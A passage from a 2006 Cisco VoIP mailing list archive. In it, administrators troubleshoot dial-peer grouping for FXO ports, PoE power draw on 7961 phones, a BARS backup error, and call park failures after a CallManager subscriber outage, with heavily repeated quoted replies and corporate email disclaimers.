for their PBX and we would like to try and utilise these rather than
install digital lines.

 

Regards

 

Nick

 

 

 

________________________________

From: cisco-voip-bounces at puck.nether.net [mailto:
cisco-voip-bounces at puck.nether.net
<mailto:cisco-voip-bounces at puck.nether.net> ] On Behalf Of Kris
Seraphine
Sent: Monday, January 09, 2006 6:46 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Group FXO ports for dial-peers

 

Hi

I'm configuring an H.323 gateway for a remote site in a CallManager 4.13
cluster.  This particular site has 12 analog lines in a hunt group for
PSTN access.  I generally configure separate dial-peers for local,
longdist, international and emergency calls so I can minimize interdigit
time out and encorce COR in SRST.  This will work out to be over 60 dial
peers in this case.  

Is there a way to point a POTs dial peer to a group of ports so I can
reduce the number of dial-peers?  I briefly looked at the trunk-group
voice-port and dial-peer commands but they do not seem to work for what
I'm looking to do (or I just didn't have the configuration right).  

Any suggestions are appreciated.  

-- 
kris seraphine 

 


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You acknowledge that e-mails are not secure and you accept the risk of
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************************************************************************
************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles
Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of
the
London Stock Exchange, International Securities Markets Association, and
The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by
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-- 
kris seraphine 

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The information contained in this e-mail is strictly confidential, some or all
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and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of the
London Stock Exchange, International Securities Markets Association, and The London International Financial Futures &
Options Exchange.

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From Eric.A.Fretz at L-3com.com  Fri Feb  3 09:42:20 2006
From: Eric.A.Fretz at L-3com.com (Fretz, EA Eric @ IS)
Date: Fri Feb  3 09:42:56 2006
Subject: [cisco-voip] 7961 are all dyIng
Message-ID: <51A2C3ED40A3584281444F65BC9026270A88460A@gvlexch02.gvl.is.l-3com.com>

Also, if you are using a 650x chassis that has dual power supplies, you try
temporarily switch the power supplys from redundant to coopaerative mode.
This will effectively double your wattage available to the backplane.

--Eric

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Philip Walenta
Sent: Friday, February 03, 2006 8:02 AM
To: 'James Grace'; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] 7961 are all dyIng


It is likely that this could be a power draw issue.

The standard 7960 pulls about 6.3 watts.  

The 7961's pull 12.95 watts, which is double the 7960.  

If your switches don't have the appropriate amount of power, things like
this can happen if all the phones re 7961's.  Try unplugging a few and see
if the rest come back online.  You can also do a "show power" command on
most switches to see what's being drawn, what's left etc. 

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of James Grace
Sent: Thursday, February 02, 2006 6:17 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] 7961 are all dyIng

We deployed all 7961 and 7941 and ever week They die they go down and do not
power Back up And now some of These phones lights Just flashes
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

_______________________________________________
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cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

From Scott.Voll at wesd.org  Fri Feb  3 10:42:36 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Fri Feb  3 10:42:45 2006
Subject: [cisco-voip] BARS Error
Message-ID: <D713462ED535184D830F6F6301753E7E01BE1275@VISHNU.wesd.org>

I was getting this issue in 4.0.8 and upgraded to 4.0.9 and    
still have the issue.  The error is as follows:
 
07:22:08 AM] Archive file size is less than staging directory. Check if
disk    
space is available on storage location.  
[07:22:08 AM] Could not build archive successfully.  

 

How do I fix that?

 

Scott

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From CORTIZ at broward.org  Fri Feb  3 10:43:23 2006
From: CORTIZ at broward.org (Ortiz, Carlos)
Date: Fri Feb  3 10:43:31 2006
Subject: [cisco-voip] Call Park Issue due to subscriber failing
Message-ID: <26B357EF9FB7D04A989C9E82A9E5436E01BC2D2D@MREXVS01.bc.broward.cty>

I was reading about Call Park setup yesterday and have one agency that
wants to use it.  Please verify this is the correct design since Call
Park DN's are "per server".

 

Call Mgr 1 - DNs 40X  -  Partition 1 - 10 Call park numbers

Call Mgr 2 - DNs 41X - Partition 1 -  10 backup call park numbers if
main Call Mgr 1 fails

 

Carlos

 

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Wes Sisk
Sent: Friday, February 03, 2006 2:17 AM
To: James Dust
Cc: Nick Kassel; Cisco VoIP
Subject: Re: [cisco-voip] Call Park Issue due to subscriber failing

 

James,

 

H323 is a bit of a special case.  It is a peer to peer protocol and does
not include any registration process unless you're using a gatekeeper.

 

For h323 the call park number would be selected from the node that
received the h225 SETUP message from the h323 gateway.  place an inbound
call, telnet to the gateway and look at 'sh call active voice' and check
the call signal address.  this will tell you which CM is processing the
call.  make sure the dial-peers have the appropriate preference
statements and very connectivity to port 1720 of the callmanager server
(telnet from router to CM ip at port 1720. you will be should be
disconnected pretty quickly as you're not presenting valid h225 data,
but should be adequate to verify TCP:1720 connectivity to your 1st
preference CM server.

 

just to clarify - if 1 party calls another party at that remote site
directly (internal 4/6/7 digit dial) and parks the call, does the call
park correctly and in the range that you expect?

 

/Wes

 

On Feb 2, 2006, at 1:37 PM, James Dust wrote:

 

Hi Wes,

 

We have still got a branch office that has this issue, I have reset the
H323 gateway as you stated but when a call is parked in the office it
either picks the 1st call park number from the subscriber the phone is
subscribed to or the 1st park number configured for the branch on the
publisher?

 

Any further ideas?

 

Rgds.

 

James

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Wes Sisk
Sent: 02 February 2006 01:51
To: Nick Kassel
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Call Park Issue due to subscriber failing

Call Park numbers are per server and the server that is used is the
server that the call originated on.  So in the case: 

 

PSTN--(PRI)--MGCPGw--(MGCP)--CM1--(SDL)--CM2--IPPhone

 

When the IPPhone presses PARK, a park number from the CM1 block of park
numbers is allocated.

 

When your ipphones re-registered back to CM2, did your MGCP gateway
rehome back to CM2 as well?

 

/Wes

 

On Feb 1, 2006, at 6:57 AM, Nick Kassel wrote:

 

Yesterday evening we had a hardware failure with one of our subscribers,
this particular sub has all of our remote sites registered to it, it was
down for about 5 hours and in the mean time we had all phones working
off another subscriber, once we had the subscriber back up and running,
all appeared to be fine. But we now have an issue with call park, each
site has call park numbers associated to each call manager and if they
park a call they get a call park number but this does not appear on the
display for a few seconds and they are unable to retrieve that call by
dialling the park number they get the call can not be completed prompt.
Any one come across this before?


 


 

 


************************************************************************
***********************

The information contained in this e-mail is strictly confidential, some
or all
of which may be legally privileged. It is for the intended recipient
only.
Access to this e-mail by any other person is prohibited. If you are not
the
intended recipient, any use, disclosure, copying, printing, distribution
of,
replying to or any action taken or omitted to be taken in reliance on
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e-mail, is prohibited and may be unlawful. Please contact the sender
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You accept that any instructions are deemed to have been given at the
time the
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there
may be a delay in processing the instructions received from e-mails
after
Charles Stanley has received them. You are advised that urgent, time
sensitive
and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************
************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles
Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of
the
London Stock Exchange, International Securities Markets Association, and
The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by
McAfee
VirusScan and SurfControl Email Filter software.

_______________________________________________

cisco-voip mailing list

cisco-voip at puck.nether.net

https://puck.nether.net/mailman/listinfo/cisco-voip

 

 


************************************************************************
***********************

The information contained in this e-mail is strictly confidential, some
or all
of which may be legally privileged. It is for the intended recipient
only.
Access to this e-mail by any other person is prohibited. If you are not
the
intended recipient, any use, disclosure, copying, printing, distribution
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You accept that any instructions are deemed to have been given at the
time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept that
there
may be a delay in processing the instructions received from e-mails
after
Charles Stanley has received them. You are advised that urgent, time
sensitive
and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************
************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles
Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of
the
London Stock Exchange, International Securities Markets Association, and
The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by
McAfee
VirusScan and SurfControl Email Filter software.

 

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From Nick.Kassel at Charles-Stanley.co.uk  Fri Feb  3 10:45:14 2006
From: Nick.Kassel at Charles-Stanley.co.uk (Nick Kassel)
Date: Fri Feb  3 10:45:55 2006
Subject: [cisco-voip] Call Park Issue due to subscriber failing
Message-ID: <253FAE7A06B11B49A3A29770B2B8BAFC6481D0@CSEXCH01.charles-stanley.co.uk>

Carlos

 

That's exactly how we have it set up.

 

Nick   

 

________________________________

From: Ortiz, Carlos [mailto:CORTIZ at broward.org] 
Sent: Friday, February 03, 2006 3:43 PM
To: Wes Sisk; James Dust
Cc: Nick Kassel; Cisco VoIP
Subject: RE: [cisco-voip] Call Park Issue due to subscriber failing

 

I was reading about Call Park setup yesterday and have one agency that
wants to use it.  Please verify this is the correct design since Call
Park DN's are "per server".

 

Call Mgr 1 - DNs 40X  -  Partition 1 - 10 Call park numbers

Call Mgr 2 - DNs 41X - Partition 1 -  10 backup call park numbers if
main Call Mgr 1 fails

 

Carlos

 

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Wes Sisk
Sent: Friday, February 03, 2006 2:17 AM
To: James Dust
Cc: Nick Kassel; Cisco VoIP
Subject: Re: [cisco-voip] Call Park Issue due to subscriber failing

 

James,

 

H323 is a bit of a special case.  It is a peer to peer protocol and does
not include any registration process unless you're using a gatekeeper.

 

For h323 the call park number would be selected from the node that
received the h225 SETUP message from the h323 gateway.  place an inbound
call, telnet to the gateway and look at 'sh call active voice' and check
the call signal address.  this will tell you which CM is processing the
call.  make sure the dial-peers have the appropriate preference
statements and very connectivity to port 1720 of the callmanager server
(telnet from router to CM ip at port 1720. you will be should be
disconnected pretty quickly as you're not presenting valid h225 data,
but should be adequate to verify TCP:1720 connectivity to your 1st
preference CM server.

 

just to clarify - if 1 party calls another party at that remote site
directly (internal 4/6/7 digit dial) and parks the call, does the call
park correctly and in the range that you expect?

 

/Wes

 

On Feb 2, 2006, at 1:37 PM, James Dust wrote:

 

Hi Wes,

 

We have still got a branch office that has this issue, I have reset the
H323 gateway as you stated but when a call is parked in the office it
either picks the 1st call park number from the subscriber the phone is
subscribed to or the 1st park number configured for the branch on the
publisher?

 

Any further ideas?

 

Rgds.

 

James

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Wes Sisk
Sent: 02 February 2006 01:51
To: Nick Kassel
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Call Park Issue due to subscriber failing

Call Park numbers are per server and the server that is used is the
server that the call originated on.  So in the case: 

 

PSTN--(PRI)--MGCPGw--(MGCP)--CM1--(SDL)--CM2--IPPhone

 

When the IPPhone presses PARK, a park number from the CM1 block of park
numbers is allocated.

 

When your ipphones re-registered back to CM2, did your MGCP gateway
rehome back to CM2 as well?

 

/Wes

 

On Feb 1, 2006, at 6:57 AM, Nick Kassel wrote:

 

Yesterday evening we had a hardware failure with one of our subscribers,
this particular sub has all of our remote sites registered to it, it was
down for about 5 hours and in the mean time we had all phones working
off another subscriber, once we had the subscriber back up and running,
all appeared to be fine. But we now have an issue with call park, each
site has call park numbers associated to each call manager and if they
park a call they get a call park number but this does not appear on the
display for a few seconds and they are unable to retrieve that call by
dialling the park number they get the call can not be completed prompt.
Any one come across this before?


 


 

 


************************************************************************
***********************

The information contained in this e-mail is strictly confidential, some
or all
of which may be legally privileged. It is for the intended recipient
only.
Access to this e-mail by any other person is prohibited. If you are not
the
intended recipient, any use, disclosure, copying, printing, distribution
of,
replying to or any action taken or omitted to be taken in reliance on
this
e-mail, is prohibited and may be unlawful. Please contact the sender
immediately
should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the
time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept that
there
may be a delay in processing the instructions received from e-mails
after
Charles Stanley has received them. You are advised that urgent, time
sensitive
and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************
************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles
Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of
the
London Stock Exchange, International Securities Markets Association, and
The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by
McAfee
VirusScan and SurfControl Email Filter software.

_______________________________________________

cisco-voip mailing list

cisco-voip at puck.nether.net

https://puck.nether.net/mailman/listinfo/cisco-voip

 

 


************************************************************************
***********************

The information contained in this e-mail is strictly confidential, some
or all
of which may be legally privileged. It is for the intended recipient
only.
Access to this e-mail by any other person is prohibited. If you are not
the
intended recipient, any use, disclosure, copying, printing, distribution
of,
replying to or any action taken or omitted to be taken in reliance on
this
e-mail, is prohibited and may be unlawful. Please contact the sender
immediately
should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the
time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept that
there
may be a delay in processing the instructions received from e-mails
after
Charles Stanley has received them. You are advised that urgent, time
sensitive
and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************
************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles
Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of
the
London Stock Exchange, International Securities Markets Association, and
The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by
McAfee
VirusScan and SurfControl Email Filter software.

 

***********************************************************************************************

The information contained in this e-mail is strictly confidential, some or all
of which may be legally privileged. It is for the intended recipient only.
Access to this e-mail by any other person is prohibited. If you are not the
intended recipient, any use, disclosure, copying, printing, distribution of,
replying to or any action taken or omitted to be taken in reliance on this
e-mail, is prohibited and may be unlawful. Please contact the sender immediately
should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept that there
may be a delay in processing the instructions received from e-mails after
Charles Stanley has received them. You are advised that urgent, time sensitive
and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of the
London Stock Exchange, International Securities Markets Association, and The London International Financial Futures &
Options Exchange.

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From CORTIZ at broward.org  Fri Feb  3 10:45:59 2006
From: CORTIZ at broward.org (Ortiz, Carlos)
Date: Fri Feb  3 10:46:51 2006
Subject: [cisco-voip] Call Park Issue due to subscriber failing
Message-ID: <26B357EF9FB7D04A989C9E82A9E5436E01BC2D2E@MREXVS01.bc.broward.cty>

Are you still having a problem with it?

 

________________________________

From: Nick Kassel [mailto:Nick.Kassel at Charles-Stanley.co.uk] 
Sent: Friday, February 03, 2006 10:45 AM
To: Ortiz, Carlos; Wes Sisk; James Dust
Cc: Cisco VoIP
Subject: RE: [cisco-voip] Call Park Issue due to subscriber failing

 

Carlos

 

That's exactly how we have it set up.

 

Nick   

 

________________________________

From: Ortiz, Carlos [mailto:CORTIZ at broward.org] 
Sent: Friday, February 03, 2006 3:43 PM
To: Wes Sisk; James Dust
Cc: Nick Kassel; Cisco VoIP
Subject: RE: [cisco-voip] Call Park Issue due to subscriber failing

 

I was reading about Call Park setup yesterday and have one agency that
wants to use it.  Please verify this is the correct design since Call
Park DN's are "per server".

 

Call Mgr 1 - DNs 40X  -  Partition 1 - 10 Call park numbers

Call Mgr 2 - DNs 41X - Partition 1 -  10 backup call park numbers if
main Call Mgr 1 fails

 

Carlos

 

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Wes Sisk
Sent: Friday, February 03, 2006 2:17 AM
To: James Dust
Cc: Nick Kassel; Cisco VoIP
Subject: Re: [cisco-voip] Call Park Issue due to subscriber failing

 

James,

 

H323 is a bit of a special case.  It is a peer to peer protocol and does
not include any registration process unless you're using a gatekeeper.

 

For h323 the call park number would be selected from the node that
received the h225 SETUP message from the h323 gateway.  place an inbound
call, telnet to the gateway and look at 'sh call active voice' and check
the call signal address.  this will tell you which CM is processing the
call.  make sure the dial-peers have the appropriate preference
statements and very connectivity to port 1720 of the callmanager server
(telnet from router to CM ip at port 1720. you will be should be
disconnected pretty quickly as you're not presenting valid h225 data,
but should be adequate to verify TCP:1720 connectivity to your 1st
preference CM server.

 

just to clarify - if 1 party calls another party at that remote site
directly (internal 4/6/7 digit dial) and parks the call, does the call
park correctly and in the range that you expect?

 

/Wes

 

On Feb 2, 2006, at 1:37 PM, James Dust wrote:

 

Hi Wes,

 

We have still got a branch office that has this issue, I have reset the
H323 gateway as you stated but when a call is parked in the office it
either picks the 1st call park number from the subscriber the phone is
subscribed to or the 1st park number configured for the branch on the
publisher?

 

Any further ideas?

 

Rgds.

 

James

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Wes Sisk
Sent: 02 February 2006 01:51
To: Nick Kassel
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Call Park Issue due to subscriber failing

Call Park numbers are per server and the server that is used is the
server that the call originated on.  So in the case: 

 

PSTN--(PRI)--MGCPGw--(MGCP)--CM1--(SDL)--CM2--IPPhone

 

When the IPPhone presses PARK, a park number from the CM1 block of park
numbers is allocated.

 

When your ipphones re-registered back to CM2, did your MGCP gateway
rehome back to CM2 as well?

 

/Wes

 

On Feb 1, 2006, at 6:57 AM, Nick Kassel wrote:

 

Yesterday evening we had a hardware failure with one of our subscribers,
this particular sub has all of our remote sites registered to it, it was
down for about 5 hours and in the mean time we had all phones working
off another subscriber, once we had the subscriber back up and running,
all appeared to be fine. But we now have an issue with call park, each
site has call park numbers associated to each call manager and if they
park a call they get a call park number but this does not appear on the
display for a few seconds and they are unable to retrieve that call by
dialling the park number they get the call can not be completed prompt.
Any one come across this before?


 


 

 


************************************************************************
***********************

The information contained in this e-mail is strictly confidential, some
or all
of which may be legally privileged. It is for the intended recipient
only.
Access to this e-mail by any other person is prohibited. If you are not
the
intended recipient, any use, disclosure, copying, printing, distribution
of,
replying to or any action taken or omitted to be taken in reliance on
this
e-mail, is prohibited and may be unlawful. Please contact the sender
immediately
should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the
time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept that
there
may be a delay in processing the instructions received from e-mails
after
Charles Stanley has received them. You are advised that urgent, time
sensitive
and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************
************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles
Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of
the
London Stock Exchange, International Securities Markets Association, and
The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by
McAfee
VirusScan and SurfControl Email Filter software.

_______________________________________________

cisco-voip mailing list

cisco-voip at puck.nether.net

https://puck.nether.net/mailman/listinfo/cisco-voip

 

 


************************************************************************
***********************

The information contained in this e-mail is strictly confidential, some
or all
of which may be legally privileged. It is for the intended recipient
only.
Access to this e-mail by any other person is prohibited. If you are not
the
intended recipient, any use, disclosure, copying, printing, distribution
of,
replying to or any action taken or omitted to be taken in reliance on
this
e-mail, is prohibited and may be unlawful. Please contact the sender
immediately
should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the
time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept that
there
may be a delay in processing the instructions received from e-mails
after
Charles Stanley has received them. You are advised that urgent, time
sensitive
and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************
************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles
Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of
the
London Stock Exchange, International Securities Markets Association, and
The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by
McAfee
VirusScan and SurfControl Email Filter software.

 

 


************************************************************************
***********************

The information contained in this e-mail is strictly confidential, some
or all
of which may be legally privileged. It is for the intended recipient
only.
Access to this e-mail by any other person is prohibited. If you are not
the
intended recipient, any use, disclosure, copying, printing, distribution
of,
replying to or any action taken or omitted to be taken in reliance on
this
e-mail, is prohibited and may be unlawful. Please contact the sender
immediately
should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the
time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept that
there
may be a delay in processing the instructions received from e-mails
after
Charles Stanley has received them. You are advised that urgent, time
sensitive
and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************
************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles
Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of
the
London Stock Exchange, International Securities Markets Association, and
The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by
McAfee
VirusScan and SurfControl Email Filter software.

 

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From JKing at thegranitegroup.com  Fri Feb  3 10:46:05 2006
From: JKing at thegranitegroup.com (King, Jesse)
Date: Fri Feb  3 10:46:53 2006
Subject: [cisco-voip] BARS Error
Message-ID: <80FDD0062521CE4084591182C4DDB6BE01108763@papaya.thegranitegroup.com>

What is your available space on the backup server at on the c and d
drives?
 
 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Voll, Scott
Sent: Friday, February 03, 2006 10:43 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] BARS Error


I was getting this issue in 4.0.8 and upgraded to 4.0.9 and    
still have the issue.  The error is as follows:
 
07:22:08 AM] Archive file size is less than staging directory. Check if
disk    
space is available on storage location.  
[07:22:08 AM] Could not build archive successfully.  

 

How do I fix that?

 

Scott

-------------- next part --------------
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From Nick.Kassel at Charles-Stanley.co.uk  Fri Feb  3 10:52:57 2006
From: Nick.Kassel at Charles-Stanley.co.uk (Nick Kassel)
Date: Fri Feb  3 10:53:08 2006
Subject: [cisco-voip] Call Park Issue due to subscriber failing
Message-ID: <253FAE7A06B11B49A3A29770B2B8BAFC6481D1@CSEXCH01.charles-stanley.co.uk>

No we seem to have resolved the issues now, although these are the only
issues we have had, it has always worked perfectly in the past.

 

________________________________

From: Ortiz, Carlos [mailto:CORTIZ at broward.org] 
Sent: Friday, February 03, 2006 3:46 PM
To: Nick Kassel; Wes Sisk; James Dust
Cc: Cisco VoIP
Subject: RE: [cisco-voip] Call Park Issue due to subscriber failing

 

Are you still having a problem with it?

 

________________________________

From: Nick Kassel [mailto:Nick.Kassel at Charles-Stanley.co.uk] 
Sent: Friday, February 03, 2006 10:45 AM
To: Ortiz, Carlos; Wes Sisk; James Dust
Cc: Cisco VoIP
Subject: RE: [cisco-voip] Call Park Issue due to subscriber failing

 

Carlos

 

That's exactly how we have it set up.

 

Nick   

 

________________________________

From: Ortiz, Carlos [mailto:CORTIZ at broward.org] 
Sent: Friday, February 03, 2006 3:43 PM
To: Wes Sisk; James Dust
Cc: Nick Kassel; Cisco VoIP
Subject: RE: [cisco-voip] Call Park Issue due to subscriber failing

 

I was reading about Call Park setup yesterday and have one agency that
wants to use it.  Please verify this is the correct design since Call
Park DN's are "per server".

 

Call Mgr 1 - DNs 40X  -  Partition 1 - 10 Call park numbers

Call Mgr 2 - DNs 41X - Partition 1 -  10 backup call park numbers if
main Call Mgr 1 fails

 

Carlos

 

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Wes Sisk
Sent: Friday, February 03, 2006 2:17 AM
To: James Dust
Cc: Nick Kassel; Cisco VoIP
Subject: Re: [cisco-voip] Call Park Issue due to subscriber failing

 

James,

 

H323 is a bit of a special case.  It is a peer to peer protocol and does
not include any registration process unless you're using a gatekeeper.

 

For h323 the call park number would be selected from the node that
received the h225 SETUP message from the h323 gateway.  place an inbound
call, telnet to the gateway and look at 'sh call active voice' and check
the call signal address.  this will tell you which CM is processing the
call.  make sure the dial-peers have the appropriate preference
statements and very connectivity to port 1720 of the callmanager server
(telnet from router to CM ip at port 1720. you will be should be
disconnected pretty quickly as you're not presenting valid h225 data,
but should be adequate to verify TCP:1720 connectivity to your 1st
preference CM server.

 

just to clarify - if 1 party calls another party at that remote site
directly (internal 4/6/7 digit dial) and parks the call, does the call
park correctly and in the range that you expect?

 

/Wes

 

On Feb 2, 2006, at 1:37 PM, James Dust wrote:

 

Hi Wes,

 

We have still got a branch office that has this issue, I have reset the
H323 gateway as you stated but when a call is parked in the office it
either picks the 1st call park number from the subscriber the phone is
subscribed to or the 1st park number configured for the branch on the
publisher?

 

Any further ideas?

 

Rgds.

 

James

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Wes Sisk
Sent: 02 February 2006 01:51
To: Nick Kassel
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Call Park Issue due to subscriber failing

Call Park numbers are per server and the server that is used is the
server that the call originated on.  So in the case: 

 

PSTN--(PRI)--MGCPGw--(MGCP)--CM1--(SDL)--CM2--IPPhone

 

When the IPPhone presses PARK, a park number from the CM1 block of park
numbers is allocated.

 

When your ipphones re-registered back to CM2, did your MGCP gateway
rehome back to CM2 as well?

 

/Wes

 

On Feb 1, 2006, at 6:57 AM, Nick Kassel wrote:

 

Yesterday evening we had a hardware failure with one of our subscribers,
this particular sub has all of our remote sites registered to it, it was
down for about 5 hours and in the mean time we had all phones working
off another subscriber, once we had the subscriber back up and running,
all appeared to be fine. But we now have an issue with call park, each
site has call park numbers associated to each call manager and if they
park a call they get a call park number but this does not appear on the
display for a few seconds and they are unable to retrieve that call by
dialling the park number they get the call can not be completed prompt.
Any one come across this before?


 


 

 


************************************************************************
***********************

The information contained in this e-mail is strictly confidential, some
or all
of which may be legally privileged. It is for the intended recipient
only.
Access to this e-mail by any other person is prohibited. If you are not
the
intended recipient, any use, disclosure, copying, printing, distribution
of,
replying to or any action taken or omitted to be taken in reliance on
this
e-mail, is prohibited and may be unlawful. Please contact the sender
immediately
should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the
time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept that
there
may be a delay in processing the instructions received from e-mails
after
Charles Stanley has received them. You are advised that urgent, time
sensitive
and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************
************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles
Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of
